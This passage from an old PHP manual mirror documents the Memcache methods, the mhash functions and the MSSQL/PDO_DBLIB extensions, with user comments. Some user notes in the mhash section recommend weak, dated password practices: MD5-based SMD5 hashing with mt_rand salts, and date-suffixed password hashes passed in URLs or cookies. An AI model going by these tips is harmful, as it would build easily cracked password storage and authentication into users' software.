$memcache_obj->connect('memcache_host', 11211);
/* decrement item by 3 */
$new_value = $memcache_obj->decrement('test_item', 3);
?>

Memcache::decrement() does not create an item if it didn't exist.

Memcache::decrement() returns item's new value on success or FALSE on failure.

See also Memcache::increment(), Memcache::replace().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
memcache_debug | 上一级 | Memcache::delete


Memcache::delete

(no version information, might be only in CVS)

Memcache::delete -- Delete item from the server

Description

bool Memcache::delete ( string key [, int timeout] )

Memcache::delete() deletes item with the key. If parameter timeout is specified, the item will expire after timeout seconds.

Also you can use memcache_delete() function. See example below.

例子 1. Memcache::delete() example

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);

/* after 10 seconds item will be deleted by the server */
memcache_delete('key_to_delete', 10);

/* OO API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);

$memcache_obj->delete('key_to_delete', 10);

?>

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Memcache::decrement | 上一级 | Memcache::flush


Memcache::flush

(no version information, might be only in CVS)

Memcache::flush -- Flush all existing items at the server

Description

bool Memcache::flush ( void )

Memcache::flush() immediately invalidates all existing items. Memcache::flush() doesn't actually free any resources, it only marks all the items as expired, so occupied memory will be overwritten by new items.

Also you can use memcache_flush() function. See example below.

例子 1. Memcache::flush() example

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);

memcache_flush($memcache_obj);

/* OO API */

$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);

$memcache_obj->flush();

?>

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Memcache::delete | 上一级 | Memcache::get


Memcache::get

(no version information, might be only in CVS)

Memcache::get -- Retrieve item from the server

Description

string Memcache::get ( string key )

string Memcache::get ( array keys )

Memcache::get() returns previously stored data if an item with such key exists on the server at this moment.

例子 1. Memcache::get() example

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);
$var = memcache_get($memcache_obj, 'some_key');

/* OO API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
$var = $memcache_obj->get('some_key');

/*
You also can use array of keys as a parameter.
If such item wasn't found at the server, the result
array simply will not include such key.
*/

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);
$var = memcache_get($memcache_obj, Array('some_key', 'another_key'));

/* OO API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
$var = $memcache_obj->get(Array('some_key', 'second_key'));

?>

Memcache::get() returns FALSE on failure or if such key was not found.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Memcache::flush | 上一级 | Memcache::getStats


Memcache::getStats

(no version information, might be only in CVS)

Memcache::getStats -- Get statistics of the server

Description

array Memcache::getStats ( void )

Memcache::getStats() returns an associative array with server's statistics. Array keys correspond to stats parameters and values to parameter's values.

Also you can use memcache_get_stats() function.

Memcache::getStats() returns FALSE in case of an error.

See also Memcache::getVersion().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Memcache::get | 上一级 | Memcache::getVersion


Memcache::getVersion

(no version information, might be only in CVS)

Memcache::getVersion -- Return version of the server

Description

string Memcache::getVersion ( void )

Memcache::getVersion() returns a string with server's version number.

Also you can use memcache_get_version() function. See example below.

例子 1. Memcache::getVersion() example

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);

echo memcache_get_version($memcache_obj);

/* OO API */
$memcache_obj = new Memcache;
echo $memcache_obj->getVersion();

?>

Memcache::getVersion() returns FALSE if an error occured.

See also Memcache::getStats().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Memcache::getStats | 上一级 | Memcache::increment


Memcache::increment

(no version information, might be only in CVS)

Memcache::increment -- Increment item's value

Description

int Memcache::increment ( string key [, int value] )

Memcache::increment() increments value of the item on the specified value. If item with key key was not numeric and cannot be converted to number, it will change it's value to value.

Parameter value is optional. It's default value is 1.

注: Do not use Memcache::increment() with item, which was stored compressed, because consequent call to Memcache::get() will fail.

Also you can use memcache_increment() function. See example below.

例子 1. Memcache::increment() example

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);
/* increment counter by 2 */
$current_value = memcache_increment($memcache_obj, 'counter', 2);

/* OO API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
/* increment counter by 3 */
$current_value = $memcache_obj->increment('counter', 3);

?>

Memcache::increment() returns new item's value on success or FALSE on failure.

Memcache::increment() does not create an item if it didn't exist.

See also Memcache::decrement(), Memcache::replace().

add a note add a note User Contributed Notes
16-Jun-2005 03:54
if no variable exists, even if you specify an increment value, the result will be null.

if you're using this for a mutex, chk if its null, and if so, then ADD the variable.
add a note add a note

后退 | 起点 | 前进
Memcache::getVersion | 上一级 | Memcache::pconnect


Memcache::pconnect

(no version information, might be only in CVS)

Memcache::pconnect -- Open memcached server persistent connection

Description

bool Memcache::pconnect ( string host [, int port [, int timeout]] )

Memcache::pconnect() is similar to Memcache::connect() with the difference, that the connection it establishes is persistent. This connection is not closed after the end of script execution and by Memcache::close() function.

Also you can use memcache_pconnect() function. See example below.

例子 1. Memcache::pconnect() example

<?php

/* procedural API */
$memcache_obj = memcache_pconnect('memcache_host', 11211);

/* OO API */

$memcache_obj = new Memcache;
$memcache_obj->pconnect('memcache_host', 11211);

?>

如果成功则返回 TRUE，失败则返回 FALSE。

See also Memcache::connect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Memcache::increment | 上一级 | Memcache::replace


Memcache::replace

(no version information, might be only in CVS)

Memcache::replace -- Replace value of the existing item

Description

bool Memcache::replace ( string key, mixed var [, int flag [, int expire]] )

Memcache::replace() should be used to replace value of
existing item with key. In case if item with such
key doesn't exists, Memcache::replace() returns
FALSE. For the rest Memcache::replace() behaves
similarly to Memcache::set().

Also you can use memcache_replace() function. See example below.

例子 1. Memcache::replace() example

<?php

$memcache_obj = memcache_connect('memcache_host', 11211);

/* procedural API */
memcache_replace($memcache_obj, "test_key", "some variable", false, 30);

/* OO API */
$memcache_obj->replace("test_key", "some variable", false, 30);

?>

如果成功则返回 TRUE，失败则返回 FALSE。

See also Memcache::set(), Memcache::add().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Memcache::pconnect | 上一级 | Memcache::set


Memcache::set

(no version information, might be only in CVS)

Memcache::set -- Store data at the server

Description

bool Memcache::set ( string key, mixed var [, int flag [, int expire]] )

Memcache::set() stores an item var with key on the memcached server. Parameter expire is expiration time in seconds. If it's 0, the item never expires (but memcached server doesn't guarantee this item to be stored all the time, it could be deleted from the cache to make place for other items).

You can use MEMCACHE_COMPRESSED constant as flag value if you want to use on-the-fly compression (uses zlib).

Also you can use memcache_set() function. See example below.

注: Remember that resource variables (i.e. file and connection descriptors) cannot be stored in the cache, because they cannot be adequately represented in serialized state.

例子 1. Memcache::set() example

<?php
/* procedural API */

/* connect to memcached server */
$memcache_obj = memcache_connect('memcache_host', 11211);

/*
set value of item with key 'var_key'
using 0 as flag value, compression is not used
expire time is 30 seconds
*/
memcache_set($memcache_obj, 'var_key', 'some variable', 0, 30);

echo memcache_get($memcache_obj, 'var_key');

?>

例子 2. Memcache::set() example

<?php
/* OO API */

$memcache_obj = new Memcache;

/* connect to memcached server */
$memcache_obj->connect('memcache_host', 11211);

/*
set value of item with key 'var_key', using on-the-fly compression
expire time is 50 seconds
*/
$memcache_obj->set('var_key', 'some really big variable', MEMCACHE_COMPRESSED, 50);

echo $memcache_obj->get('var_key');

?>

如果成功则返回 TRUE，失败则返回 FALSE。

See also Memcache::add(), Memcache::replace().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Memcache::replace | 上一级 | Mhash Functions


Mhash Functions

PHP 手册
后退 前进

LXXIII. Mhash Functions

简介

These functions are intended to work with mhash. Mhash can be used to create checksums, message digests, message authentication codes, and more.

This is an interface to the mhash library. mhash supports a wide variety of hash algorithms such as MD5, SHA1, GOST, and many others. For a complete list of supported hashes, refer to the documentation of mhash. The general rule is that you can access the hash algorithm from PHP with MHASH_HASHNAME. For example, to access TIGER you use the PHP constant MHASH_TIGER.

需求

To use it, download the mhash distribution from its web site and follow the included installation instructions.

安装

You need to compile PHP with the --with-mhash[=DIR] parameter to enable this extension. DIR is the mhash install directory.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

Here is a list of hashes which are currently supported by mhash. If a hash is not listed here, but is listed by mhash as supported, you can safely assume that this documentation is outdated.

  • MHASH_ADLER32

  • MHASH_CRC32

  • MHASH_CRC32B

  • MHASH_GOST

  • MHASH_HAVAL128

  • MHASH_HAVAL160

  • MHASH_HAVAL192

  • MHASH_HAVAL256

  • MHASH_MD4

  • MHASH_MD5

  • MHASH_RIPEMD160

  • MHASH_SHA1

  • MHASH_SHA256

  • MHASH_TIGER

  • MHASH_TIGER128

  • MHASH_TIGER160

范例

例子 1. Compute the MD5 digest and hmac and print it out as hex

<?php
$input = "what do ya want for nothing?";
$hash = mhash(MHASH_MD5, $input);
echo "The hash is " . bin2hex($hash) . "<br />\n";
$hash = mhash(MHASH_MD5, $input, "Jefe");
echo "The hmac is " . bin2hex($hash) . "<br />\n";
?>

This will produce:
The hash is d03cb659cbf9192dcd066272249f8412
The hmac is 750c783e6ab0b503eaa86e310a5db738

目录
mhash_count -- Get the highest available hash id
mhash_get_block_size -- Get the block size of the specified hash
mhash_get_hash_name -- Get the name of the specified hash
mhash_keygen_s2k -- Generates a key
mhash -- Compute hash

add a note add a note User Contributed Notes
brentdothansenatgmaildotcom
12-Aug-2005 07:43
Since it seems that the tiger hash bug has been labeled "bogus" here is a fix to give a correct result.  I'm not a binary expert so if you come up with a better fix please let us know. Just do your MHASH_TIGER as normal then send the unaltered binary into tigerfix and you get a proper HEX return.

function tigerfix ($binary_hash) {
     $my_split = str_split($binary_hash,8);
     $my_tiger ="";
     foreach($my_split as $key => $value) {
       $my_split[$key] = strrev($value);
       $my_tiger .= $my_split[$key];
     }
   $my_tiger_hex = bin2hex($my_tiger);
   return $my_tiger_hex;
}
Keamos at gmail dot com
26-Mar-2005 09:16
The Tiger implementation in Mhash is broken--

http://pastebin.ca/8272

Cryptopp-PHP passes the test vectors (found at http://tinyurl.com/4g9su) but Mhash appears to not do so--use Cryptopp-PHP for now if you need to use Tiger.
m1tk4 at hotmail dot com
22-Jun-2004 01:43
To enable mhash on RHEL/Fedora Core/other RPM-based Linuxes without rebuilding PHP, get the php-mhash and mhash RPMs at http://phprpms.sourceforge.net/mhash
01-Aug-2001 10:13
MHASH_HAVAL256 , MHASH_HAVAL192, etc...
refers to the HAVAL hash with 3 rounds.

To use HAVAL with 4 or 5 rounds, you have to
recompile the mhash library and either add
new hash names, or just change in mhash.c
the definitions of MHASH_HAVAL256,...
add a note add a note

后退 | 起点 | 前进
Memcache::set | 上一级 | mhash_count


mhash_count

(PHP 3 >= 3.0.9, PHP 4, PHP 5)

mhash_count -- Get the highest available hash id

Description

int mhash_count ( void )

mhash_count() returns the highest available hash id. Hashes are numbered from 0 to this hash id.

例子 1. Traversing all hashes

<?php

$nr = mhash_count();

for ($i = 0; $i <= $nr; $i++) {
    echo sprintf("The blocksize of %s is %d\n",
        mhash_get_hash_name($i),
        mhash_get_block_size($i));
}
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Mhash Functions | 上一级 | mhash_get_block_size


mhash_get_block_size

(PHP 3 >= 3.0.9, PHP 4, PHP 5)

mhash_get_block_size -- Get the block size of the specified hash

Description

int mhash_get_block_size ( int hash )

mhash_get_block_size() is used to get the size of a block of the specified hash.

mhash_get_block_size() takes one argument, the hash and returns the size in bytes or FALSE, if the hash does not exist.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mhash_count | 上一级 | mhash_get_hash_name


mhash_get_hash_name

(PHP 3 >= 3.0.9, PHP 4, PHP 5)

mhash_get_hash_name -- Get the name of the specified hash

Description

string mhash_get_hash_name ( int hash )

mhash_get_hash_name() is used to get the name of the specified hash.

mhash_get_hash_name() takes the hash id as an argument and returns the name of the hash or FALSE, if the hash does not exist.

例子 1. mhash_get_hash_name() example

<?php
$hash = MHASH_MD5;

echo mhash_get_hash_name($hash);
?>

上例将输出：

MD5

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mhash_get_block_size | 上一级 | mhash_keygen_s2k


mhash_keygen_s2k

(PHP 4 >= 4.0.4, PHP 5)

mhash_keygen_s2k -- Generates a key

Description

string mhash_keygen_s2k ( int hash, string password, string salt, int bytes )

mhash_keygen_s2k() generates a key that is bytes long, from a user given password. This is the Salted S2K algorithm as specified in the OpenPGP document (RFC 2440). That algorithm will use the specified hash algorithm to create the key. The salt must be different and random enough for every key you generate in order to create different keys. That salt must be known when you check the keys, thus it is a good idea to append the key to it. Salt has a fixed length of 8 bytes and will be padded with zeros if you supply less bytes.

Keep in mind that user supplied passwords are not really suitable to be used as keys in cryptographic algorithms, since users normally choose keys they can write on keyboard. These passwords use only 6 to 7 bits per character (or less). It is highly recommended to use some kind of transformation (like this function) to the user supplied key.

add a note add a note User Contributed Notes
Ray Ferguson
29-Nov-2003 02:51
//A more usefull example for generating SMD5 passwords.

function ldap_smd5_passwd($clear_pw) {
         $salt = myhash_keyge_s2k($clear_pw, 4);
         $new_password = base64_encode(pack("H*", md5($clear_pw . $salt)) . $salt);
         return $new_password ;
}

function myhash_keyge_s2k($pass, $bytes ){
       // This and md5 implimentation of the Salted S2K algorithm as
       // specified in the OpenPGP document (RFC 2440).
       // basically a non mhash dependant version of mhash_keygen_s2k
       $salt=substr(pack("h*", md5(mt_rand())), 0, 8);
       return substr(pack("H*", md5($salt . $pass)), 0, $bytes);
}

// -ray again.
php_at_share-foo.com
17-Jul-2003 02:18
// given random 8 bits of salt and a clear text password

$clear_pw = "p4ssw0rd" ;
$rand8bites4salt = substr(pack("h*", md5(mt_rand())) , 0, 8);

// This

mhash_keygen_s2k(MHASH_MD5, $clear_pw, $rand8bites4salt, 4) ;

//is the same as this

function myhash_keyge_s2k($pass, $salt, $bytes ){
     return substr(pack("H*", md5($salt . $pass)), 0, $bytes);
}

myhash_keyge_s2k($clear_pw, $rand8bites4salt, 4);

// But the latter doesn't require mhash libs.

// -ray ferguson
add a note add a note

后退 | 起点 | 前进
mhash_get_hash_name | 上一级 | mhash


mhash

(PHP 3 >= 3.0.9, PHP 4, PHP 5)

mhash -- Compute hash

Description

string mhash ( int hash, string data [, string key] )

mhash() applies a hash function specified by hash to the data and returns the resulting hash (also called digest). If the key is specified it will return the resulting HMAC. HMAC is keyed hashing for message authentication, or simply a message digest that depends on the specified key. Not all algorithms supported in mhash can be used in HMAC mode. In case of an error returns FALSE.

add a note add a note User Contributed Notes
marcel446 at yahoo dot com
06-Jun-2005 07:15
Just in case you did not observe, the function of Lance is independent of hash fuction used to get HMAC , so if one use sha1() function from php instead md5() will get sha1 HMAC.
Just try .
Thanks again Lance
robbie [at] averill [dot] co [dot] nz
19-Mar-2005 09:17
This confused me a bit when I first read the documetation for mhash. The functions that accept a hash accept them as an INTEGER not a STRING. In this case, MHASH_MD5 = 1. It is a constant, not a string.

Just thought I'd point that out, so if anyone is confused they can read that. That's the use of mhash_get_hash_name(). You input the constant (which is an integer) and it returns the hash name.
fernan at ispwest dot com
02-Nov-2004 04:03
Thanks a lot to Lance for showing how to create mhash without installing the perl extension for mhash.

I have been asking my webhosting administrator to recompile Perl with mhash extension, but do not want to do it. As a result, our company can't get credit card authorization because they require fingerprint which uses the function mhash. Now, it's working fine.

Thanks a lot, Lance.....

Fernan
jerry d0t wilborn at fast d0t net
03-Jul-2004 12:36
in responce to lance's post:

the function comes back with a hex representation of the hmac, if you wish to convert to what mhash returns natively (binary) use:  pack("H*", hmac(variables...));
lance_rushing at hot* spamfree *mail dot com
10-Jul-2003 08:02
Don't forget php has two built in hashing algorithms:

md5(), and sha1()

So if you are using: mhash(MHASH_MD5, $str) or mhash(MHASH_SHA1, $str) you could use md5($str) or sha1($str).

** But remember that md5() and sha1() produce HEX output while mhash() produces a BIN output.  So:

md5($str) == bin2hex(mhash(MHASH_MD5, $str))
sha1($str) == bin2hex(mhash(MHASH_SHA1, $str))

AND

pack("H*", md5($str)) == mhash(MHASH_MD5, $str)
pack("H*", sha1($str)) == mhash(MHASH_SHA1, $str)

(Just remember to pack() or bin2hex() your output to get the output you need)

-Lance
lance_rushing at hot* spamfree *mail dot com
28-Nov-2002 12:36
Want to Create a md5 HMAC, but don't have hmash installed?

Use this:

function hmac ($key, $data)
{
   // RFC 2104 HMAC implementation for php.
   // Creates an md5 HMAC.
   // Eliminates the need to install mhash to compute a HMAC
   // Hacked by Lance Rushing

   $b = 64; // byte length for md5
   if (strlen($key) > $b) {
       $key = pack("H*",md5($key));
   }
   $key  = str_pad($key, $b, chr(0x00));
   $ipad = str_pad('', $b, chr(0x36));
   $opad = str_pad('', $b, chr(0x5c));
   $k_ipad = $key ^ $ipad ;
   $k_opad = $key ^ $opad;

   return md5($k_opad  . pack("H*",md5($k_ipad . $data)));
}

-----
To test:
Run this on a server _with_ mhash installed:

$key = 'Jefe';
$data = "what do ya want for nothing?";
echo hmac($key, $data);
echo "&lt;br&gt;\n";
echo bin2hex (mhash(MHASH_MD5, $data, $key));

should produce:

750c783e6ab0b503eaa86e310a5db738
750c783e6ab0b503eaa86e310a5db738

Happy hashing.
shimon_d at hotmail dot com
23-Aug-2002 03:05
password security:
when you hash passwords to save them in cookie , url ,etc' my sugsession is to hash them with date
becouse of evry body can view server log or any other loged info and reuse the hash

ie.: to re call a url eg. admin.php?user=root&passhash=5rft346tert
in this example the password keepped in secret but what stopping me to reuse the url

hash("secret") // bad security
hash("secret".date("Ymg")) // better security
// the hash good only for today
luc at 2113 dot ch
28-Dec-2001 09:42
Netscape messaging / directory server 4+ uses SHA-1
to store password in the ldap database (slapd).
The password is first SHA-1 hashed then base64 encoded:

$pwd = "secret";
$hash = "{SHA}".base64_encode( mHash(MHASH_SHA1, $pwd));
echo "Hash: ". $hash ;
paulj at 5emedia dot net
07-Dec-2001 02:02
Many digest algorithms (especially MD5) are less secure if you are hashing data that is smaller than the algorithm's output.  I recommend either hashing a secret key/salt with the original data to increase it's security.
braben at teleline.es
13-May-2001 04:41
If you are going to use only MD5 sums, it would be a good idea to use the internal's PHP function md5() ir order to avoid the library dependence.
03-May-2001 04:02
Using RedHat 7.1, after compile/install, I had to add the line

/usr/local/lib

to /etc/ld.so.conf and run ldconfig to make this work.
add a note add a note

后退 | 起点 | 前进
mhash_keygen_s2k | 上一级 | Microsoft SQL Server and Sybase Functions (PDO_DBLIB)


Microsoft SQL Server and Sybase Functions (PDO_DBLIB)

PHP 手册
后退 前进

LXXIV. Microsoft SQL Server and Sybase Functions (PDO_DBLIB)

简介

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

PDO_DBLIB is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to Microsoft SQL Server and Sybase databases through the FreeTDS libary.

On Windows, you should use the PDO_ODBC driver to connect to Microsoft SQL Server and Sybase databases, as the native Windows DB-LIB is ancient, thread un-safe and no longer supported by Microsoft.

目录
PDO_DBLIB DSN -- Connecting to Microsoft SQL Server and Sybase databases

add a note add a note User Contributed Notes
Steve H
01-Jun-2006 12:24
To connect to SQL Server 2005 Express on Windows, do it like this:

$pdo = new PDO ('mssql:host=localhost,1433;dbname=[redacted]', '[redacted]', '[redacted]');

localhost
localhost\SQLEXPRESS
localhost\1433
localhost:1433

will not work on Windows.

localhost,1433

does work.

YMMV on other OS's; try each.

Also make sure your TCP/IP Properties -> IP Addresses are correct under SQL Server Configuration Manager.
support at converters dot ru
25-Jan-2006 09:48
If You work with MSSQL Server 7.0/2000/... under Windows and use non latin Encoding then better To use PDO_MSSQL until PDO_ODBC bugs will be fixed (MSSQL ext far more stable and usabe for PHP versions <=5.1.2).
If your MSSQL connection use strings in OEM encoding (cp866 for russian charset)

1. Run Microsoft Server/Client Network Utility on work PC and UNCHECK "DBLibrary options"/"Automatic ANSI to OEM conversion"

2. Restart Web server if needed.
graham1 dot simpson at hsbcib dot com
08-Sep-2005 03:19
There is currently little sybase related PDO docs out there. The ones that I found often mention a spec for a dsn that is invalid. Here's how I am currently connecting to sybase ASE:

1. Compile up freetds http://www.freetds.org on top of open client;
2. Add the PDO and PD_DBLIB modules to php 5 as per the documentation; Note: I'm currently using the PDO-beta and PDO_DBLIB-beta;
3. Check mods installed ok using "pear list" and "php -m";

The documentation often says to use "sybase:" as your DSN, this doesn't work. Use "dblib:" instead. Here's an example:

<?php
  try {
   $hostname = "myhost";
   $port = 10060;
   $dbname = "tempdb";
   $username = "dbuser";
   $pw = "password";
   $dbh = new PDO ("dblib:host=$hostname:$port;dbname=$dbname","$username","$pw");
  } catch (PDOException $e) {
   echo "Failed to get DB handle: " . $e->getMessage() . "\n";
   exit;
  }
  $stmt = $dbh->prepare("select name from master..sysdatabases where name = db_name()");
  $stmt->execute();
  while ($row = $stmt->fetch()) {
   print_r($row);
  }
  unset($dbh); unset($stmt);
?>

Hope this helps.
add a note add a note

后退 | 起点 | 前进
mhash | 上一级 | PDO_DBLIB DSN


PDO_DBLIB DSN

(no version information, might be only in CVS)

PDO_DBLIB DSN -- Connecting to Microsoft SQL Server and Sybase databases

说明

The PDO_DBLIB Data Source Name (DSN) is composed of the following elements:

DSN prefix

The DSN prefix is sybase: if PDO_DBLIB was linked against the FreeTDS libraries, mssql: if PDO_DBLIB was linked against the Microsoft SQL Server libraries, or dblib: if linked against any other variety of DB-lib.

host

The hostname on which the database server resides.

dbname

The name of the database.

范例

例子 1. PDO_DBLIB DSN examples

The following examples show a PDO_DBLIB DSN for connecting to Microsoft SQL Server and Sybase databases:
mssql:host=localhost;dbname=testdb
sybase:host=localhost;dbname=testdb
dblib:host=localhost;dbname=testdb

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Microsoft SQL Server and Sybase Functions (PDO_DBLIB) | 上一级 | Microsoft SQL Server Functions


Microsoft SQL Server Functions

PHP 手册
后退 前进

LXXV. Microsoft SQL Server Functions

简介

These functions allow you to access MS SQL Server database.

需求

Requirements for Win32 platforms.

The extension requires the MS SQL Client Tools to be installed on the system where PHP is installed. The Client Tools can be installed from the MS SQL Server CD or by copying ntwdblib.dll from \winnt\system32 on the server to \winnt\system32 on the PHP box. Copying ntwdblib.dll will only provide access. Configuration of the client will require installation of all the tools.

Requirements for Unix/Linux platforms.

To use the MSSQL extension on Unix/Linux, you first need to build and install the FreeTDS library. Source code and installation instructions are available at the FreeTDS home page: http://www.freetds.org/

注: In Windows, the DBLIB from Microsoft is used. Functions that return a column name are based on the dbcolname() function in DBLIB. DBLIB was developed for SQL Server 6.x where the max identifier length is 30. For this reason, the maximum column length is 30 characters. On platforms where FreeTDS is used (Linux), this is not a problem.

安装

The MSSQL extension is enabled by adding extension=php_mssql.dll to php.ini.

To get these functions to work, you have to compile PHP with --with-mssql[=DIR], where DIR is the FreeTDS install prefix. And FreeTDS should be compiled using --enable-msdblib.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. MS SQL Server configuration options

Name | Default | Changeable | Changelog
mssql.allow_persistent | "1" | PHP_INI_SYSTEM |
mssql.max_persistent | "-1" | PHP_INI_SYSTEM |
mssql.max_links | "-1" | PHP_INI_SYSTEM |
mssql.min_error_severity | "10" | PHP_INI_ALL |
mssql.min_message_severity | "10" | PHP_INI_ALL |
mssql.compatability_mode | "0" | PHP_INI_ALL |
mssql.connect_timeout | "5" | PHP_INI_ALL |
mssql.timeout | "60" | PHP_INI_ALL | Available since PHP 4.1.0.
mssql.textsize | "-1" | PHP_INI_ALL |
mssql.textlimit | "-1" | PHP_INI_ALL |
mssql.batchsize | "0" | PHP_INI_ALL | Available since PHP 4.0.4.
mssql.datetimeconvert | "1" | PHP_INI_ALL | Available since PHP 4.2.0.
mssql.secure_connection | "0" | PHP_INI_SYSTEM | Available since PHP 4.3.0.
mssql.max_procs | "25" | PHP_INI_ALL | Available since PHP 4.3.0.
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

资源类型

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

MSSQL_ASSOC (integer)

MSSQL_NUM (integer)

MSSQL_BOTH (integer)

SQLTEXT (integer)

SQLVARCHAR (integer)

SQLCHAR (integer)

SQLINT1 (integer)

SQLINT2 (integer)

SQLINT4 (integer)

SQLBIT (integer)

SQLFLT8 (integer)

目录
mssql_bind -- Adds a parameter to a stored procedure or a remote stored procedure
mssql_close -- Close MS SQL Server connection
mssql_connect -- Open MS SQL server connection
mssql_data_seek -- Moves internal row pointer
mssql_execute -- Executes a stored procedure on a MS SQL server database
mssql_fetch_array -- Fetch a result row as an associative array, a numeric array, or both
mssql_fetch_assoc -- Returns an associative array of the current row in the result set specified by result_id
mssql_fetch_batch -- Returns the next batch of records
mssql_fetch_field -- Get field information
mssql_fetch_object -- Fetch row as object
mssql_fetch_row -- Get row as enumerated array
mssql_field_length -- Get the length of a field
mssql_field_name -- Get the name of a field
mssql_field_seek -- Seeks to the specified field offset
mssql_field_type -- Gets the type of a field
mssql_free_result -- Free result memory
mssql_free_statement -- Free statement memory
mssql_get_last_message -- Returns the last message from the server
mssql_guid_string -- Converts a 16 byte binary GUID to a string
mssql_init -- Initializes a stored procedure or a remote stored procedure
mssql_min_error_severity -- Sets the lower error severity
mssql_min_message_severity -- Sets the lower message severity
mssql_next_result -- Move the internal result pointer to the next result
mssql_num_fields -- Gets the number of fields in result
mssql_num_rows -- Gets the number of rows in result
mssql_pconnect -- Open persistent MS SQL connection
mssql_query -- Send MS SQL query
mssql_result -- Get result data
mssql_rows_affected -- Returns the number of records affected by the query
mssql_select_db -- Select MS SQL database

add a note add a note User Contributed Notes
Bart
23-May-2006 12:46
Another helpful hint in regards to SQL Server 2005 Express:

Make sure your SQL Server is set to  "SQL Server and Windows Authentication mode". By default it is NOT.

1) Open "SQL Server Management Studio Express"
2) Right-click server ("machinename\sqlexpress") and select "Properties".
3) Select "Security"
4) Select "SQL Server and Windows Authentication mode"
5) Restart SQL Server.
phil at hilands dot c-spam-om
20-May-2006 05:13
mssql.datetimeconvert

using freebsd and freetds I ran into the dates month being rolled back
01 jan would be 00
12 dec would be 11 nov

removed
ini_set('mssql.datetimeconvert',false);
default setting is to 1 or true on the servers config
and the date issue I ran into was resolved

I don't know how the mssql.datetimeconvert setting works but if you're getting a roll back in dates might be worth making sure its on.

using ini_get when dealing with scripts that like to modify ini settings will save a headache if you use phpinfo() like me

*side note with the same settings in freetds php apache etc on a debian load I didn't have this issue even with mssql.datetimeconvert off
thnkloud9 at aol dot com
02-Mar-2006 05:54
I had major latency problems with DB connections using php_mssql.dll without the client tools.  I found that by default it was using TCP/IP as the default connection method.  Installing the SQL Server client tools and using the Client Network Utility to change my settings to use named pipes resolved this issue.  You can use the Client Utility to set up a named pipes server alias and reference that in your connect string.
jimmy dot cartrette at gmail dot com
22-Feb-2006 11:56
"Note: DBLib is obsolete and only supports SQL Server 4.x, 6.5, 7.0 and 8.x. "

Well, ntwdblib.dll is not distributed with SQL Native Client 2005 versions anymore, but it is what you need to use the mssql family functions with php. The distributed 7.x version with php does not work, but if you download the 8.x version distributed with SQL 2000 versions and replace it in your php directory, you can suddenly use mssql functions with no problems.
support at realone dot com
09-Dec-2005 12:04
Actually, it's xtype, not type. So the the correct query would be something like:

SELECT name FROM sysobjects WHERE xtype = 'u' [ORDER BY whatever]
info at pkcom do t co dot uk
01-Nov-2005 07:47
if you are looking for the equivalent of  mysql_list_tables for mssql, try this:

######## Listing table names
$query=mssql_query ( "select * from SYSOBJECTS where TYPE='U' order by NAME" , [connection resource]);
while ($row=mssql_fetch_row ( $query )){
   echo "$row[0]<br>";
}
#########################
erwin_nospam_moller at xs4all dot nl
06-Oct-2005 07:43
php5isapi / w2000 / ISS5

If you use the above configuration (isapi) and follow the suggestion to deselect 'cache isapi application' to avoid 100% processor usage, you might end up with an oocasional error:

The remote procedure call failed and did not execute.

It happened to me every third visit to the same page.
RE-enabling caching resolved the issue.

M$ has an article about this in their knowledgebase, stating that this option should always be selected and is only there for developmentpurposes. (undocumented feature. :P)

Deselecting this option forces IIS to reload ALL relevant dll's every time a request is received in memory, also VB/ASP.
Erick Robertson
20-Aug-2005 09:58
Some helpful functions.  Pretty simple, but very useful.

function mssql_begin_transaction() {
  mssql_query("BEGIN TRANSACTION");
}

function mssql_commit() {
  mssql_query("COMMIT");
}

function mssql_rollback() {
  mssql_query("ROLLBACK");
}

function mssql_insert_id() {
  $id = "";

  $rs = mssql_query("SELECT @@identity AS id");
  if ($row = mssql_fetch_row($rs)) {
   $id = trim($row[0]);
  }
  mssql_free_result($rs);

  return $id;
}
vangoethem at hotmail.com
10-Aug-2005 08:47
I had problems related to VARCHAR limitation to 255 characters (INSERT/UPDATE works, SELECT was truncated) using freetds driver (Linux platform).

By upgrading the TDS protocol to 8.0 (see freetds config file), I fixed the problem.
hbzxc at 126 dot com
27-Jun-2005 05:14
